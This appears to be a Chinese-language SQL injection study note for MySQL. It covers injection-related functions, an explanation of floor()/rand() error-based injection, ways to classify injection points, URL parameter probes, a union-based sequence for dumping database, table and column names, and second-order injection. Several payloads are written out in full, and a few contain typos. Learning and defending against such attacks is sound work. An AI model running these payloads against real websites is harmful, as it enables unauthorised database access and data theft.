1、数据库结构(mysql)
2、注入的主要函数
2.1连接函数
concat()——没有分隔符
concat_ws()——含有分隔符
group_concat()——用逗号分开
2.2、截取字符串主要函数
mid(m,n,len)——从m字符串开始到n位置,截取长度为len的子字符串
substr(m,n,len)——从m字符串开始到n位置,截取长度为len的子字符串
left(s,n)——取字符串s前n个字符
if(条件,真,假)
ascii()——转为ascii码(盲注使用)
2.3、报错函数
updataxml()——主要利用第二参数xpath语法报错
extractvalue()——主要利用第二参数xpath语法报错
floor(x)——返回小于或者等于x的最大整数
和count()、group by 构造payload——select count(*) from users group by concat(database,floor(rand(0)*2))
```````解释payload:
rand()默认范围0-1随机数,配合floor(i+rang()*(j-i))——介于i,j之间随机数,指定参数的话生成固定随机数列rand(0)*2生成0或者1
group by和conut
在使用group by 和count后,group by 会依次从users表中查询记录,建立一张虚拟的表,当表中的Key(主键)存在时,count会自动+1,如果key不存在,则将key插入到临时表中
group by 和rand
而当group by与rand一起使用时,如果临时表中没有该主键,rand会再计算一次,率先将第二次的计算结果插入到临时表,导致主键重复报错(也就是这个特性导致报错)
总结:
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
3、注入姿势
3.1
根据参数类型:数字型,字符型,搜索型
根据提交方式:post注入,get注入,http head注入
根据有无回显:联合注入,报错注入,布尔注入,延迟注入
其他注入:堆叠注入,宽字节注入,二次注入
3.2、 sql注入点的判断
1、?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面部分数据显示不正常,那么可以确定此处为数字型注入
2、?id=1' and 1=1--+/#和?id=1'and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为字符型注入
3、?id=1' and 1=1 and '1'='1和?id=1'and 1=2 and '1'='2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为字符型注入
4、?id=1%' and 1=1 --+/#和?id=1%'and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为搜索型注入
5、?id=1' and 1=1 and '%'='%和?id=1'and 1=2 and '%'='%进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为搜索注入
3.3、根据有无回显:联合注入,报错注入,布尔注入,延迟注入、联合注入:
1、注入点判断--?id=1 and 1=1 ?id=1 and 1=2
2、判断列数--?id = 1 order by 3
3、爆出显示位--?id = -1 union select 1,2,3
4、爆出数据库名和版本--?id = -1union select 1,database(),version()
5、爆表--?id = -1 union select 1,2,group_concat(table_name) from information.tables where table_schema = '爆出数据库的名字'
6、爆列--?id = -1 union select 1,2,group_concat(column_name) from information.column s where table_name = '爆出数据表的名字'
3.4、二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。
过程:
(1)先构造语句(此语句含有被转义字符的语句,如 mysql_escape_string、mysql_real_escape_string 转义)
(2)将我们构造的恶意语句存入数据库(被转义的语句)
(3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入)